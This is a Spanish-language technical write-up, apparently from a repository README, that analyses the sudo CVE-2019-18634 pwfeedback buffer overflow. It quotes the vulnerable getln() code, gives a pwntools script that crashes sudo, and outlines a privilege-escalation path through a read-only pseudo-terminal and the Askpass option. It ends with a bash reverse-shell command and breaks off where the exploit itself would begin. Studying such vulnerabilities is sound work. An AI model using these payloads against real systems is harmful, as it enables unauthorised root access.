
Este repositorio contiene tanto el exploit como la explicación de cómo se explota esta vulnerabilidad.
CVE-2019-18634 es una vulnerabilidad que afecta a Sudo en versiones < 1.8.25 cuando pwfeedback está habilitado en el archivo sudoers. Permite a un atacante escalar privilegios a root explotando un desbordamiento de búfer basado en BSS, donde se alteran las estructuras de datos y el programa cree que se está ejecutando como root y, por lo tanto, ya no pide la contraseña y otorga privilegios de root.
En este análisis, primero profundizaré en el descubrimiento de la vulnerabilidad analizando el código y entendiendo qué es lo que falla. El artículo de NIST explica que la vulnerabilidad se encuentra en la función getln(), así que echemos un vistazo a eso primero:
Podemos ver que la función lee de un descriptor de archivo buffersize veces, de una en una, y si el carácter leído es sudo-term-kill, comenzará a borrar toda la entrada enviada, devolverá el puntero actual al principio y volverá a establecer el número de caracteres a leer como buffersize.
El error reside en el siguiente fragmento de código:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
Básicamente, cuando el carácter sudo-term-kill está presente, si la operación de escritura falla, no decrementará el puntero del búfer, pero reiniciará el conteo de cuántos caracteres puede escribir, teniendo efectivamente una escritura de longitud arbitraria en ese búfer.
Un análisis en profundidad del código y de las funciones utilizadas revela que el carácter sudo-term-kill está definido como un entero global no declarado, lo que significa que se inicializará a 0 a menos que reciba entrada de una terminal, en cuyo caso será lo que se establece en la estructura c_cc de termios, que según la documentación es:
No profundizaré demasiado en las deducciones aquí, pero todas se pueden replicar mirando el código fuente del archivo term.c en el repositorio de Sudo.
Después de este pequeño análisis, solo queda hacer que el programa falle y depurarlo para poder ver qué se está almacenando y cómo podría explotarse para obtener algún beneficio.
Para disparar el exploit, solo tenemos que enviar un payload con suficientes datos para desbordar el búfer y hacer fallar el programa. Para ello, decidí hacerlo con la librería de Python pwntools
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
Que, al ejecutarse, dio el siguiente error:

¡Bien!! Segfault, así que hemos sobrescrito algo que hizo fallar la ejecución del binario. Ahora, deberíamos ver qué se ha sobrescrito y las formas de sacar provecho de ello.
Para depurar el binario, solo tenemos que pausar la ejecución del proceso antes de enviar el payload, luego adjuntar un depurador al proceso y continuar la ejecución. Tiene que ser así porque, para depurar el proceso de sudo, se necesitan privilegios de root, pero eso hace que el programa no pida la contraseña, que es la parte vulnerable del mismo.
Dicho esto, pasemos a ver qué se ha almacenado en el búfer y en las direcciones de memoria posteriores:

Podemos ver que, además del búfer, se han sobrescrito varias otras estructuras de datos, lo que podría ser interesante para explotar esta vulnerabilidad. A continuación, decidí ver qué datos había en esas estructuras antes de sobrescribirlos. Para ello, simplemente ejecuté el mismo script pero sobrescribiendo solo buffersize bytes de datos y luego analicé nuevamente la memoria:

Como podemos ver, la estructura de datos signo está llena de ceros, excepto por el byte en la posición 548, que es 0x02. Le sigue la estructura user-details, que en el código se refiere a los detalles del usuario que ejecuta sudo. El 0x02 representa la opción -S, tal como se define en el archivo sudo.h. En ese mismo archivo se define otra opción llamada Askpass, en la que se obtiene un programa de una variable de entorno y se utiliza como ayuda para obtener la contraseña (en lugar de usar una TTY o STDIN). Con esta información, el camino de explotación podría ser ahora un poco más claro. Podríamos establecer un programa auxiliar personalizado (digamos, una reverse shell) y luego sobrescribir user-details para hacer que parezca que sudo fue ejecutado por root.
Para la explotación todavía hay algo que superar: necesitamos escribir ceros para preservar los datos originales de las estructuras de datos y, además, necesitamos que establezcan los detalles de usuario a los de root. Por lo tanto, no podemos usar la entrada estándar porque no escribiría los ceros. Afortunadamente, sabemos que si usamos un dispositivo de terminal, el carácter de kill es 0x15, que es un carácter que no necesitamos en absoluto.
Con esto surge un problema: necesitamos que la operación de escritura falle, pero los dispositivos de terminal son escribibles y legibles, lo que significa que no harán fallar la operación de escritura. Investigando un poco, descubrí los pseudo terminales, que son esencialmente dispositivos de terminal que se pueden crear desde los programas y se pueden controlar:

Con un PTY podemos comunicarnos con el master y el master se comunicará con el slave. Si configuramos el slave para que solo tenga privilegios de lectura, los programas nunca podrán escribir en él (por lo tanto, fallarán), lo que significa que podremos disparar el exploit.
Con todo eso en su lugar, solo queda escribir la reverse shell
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
Y el exploit: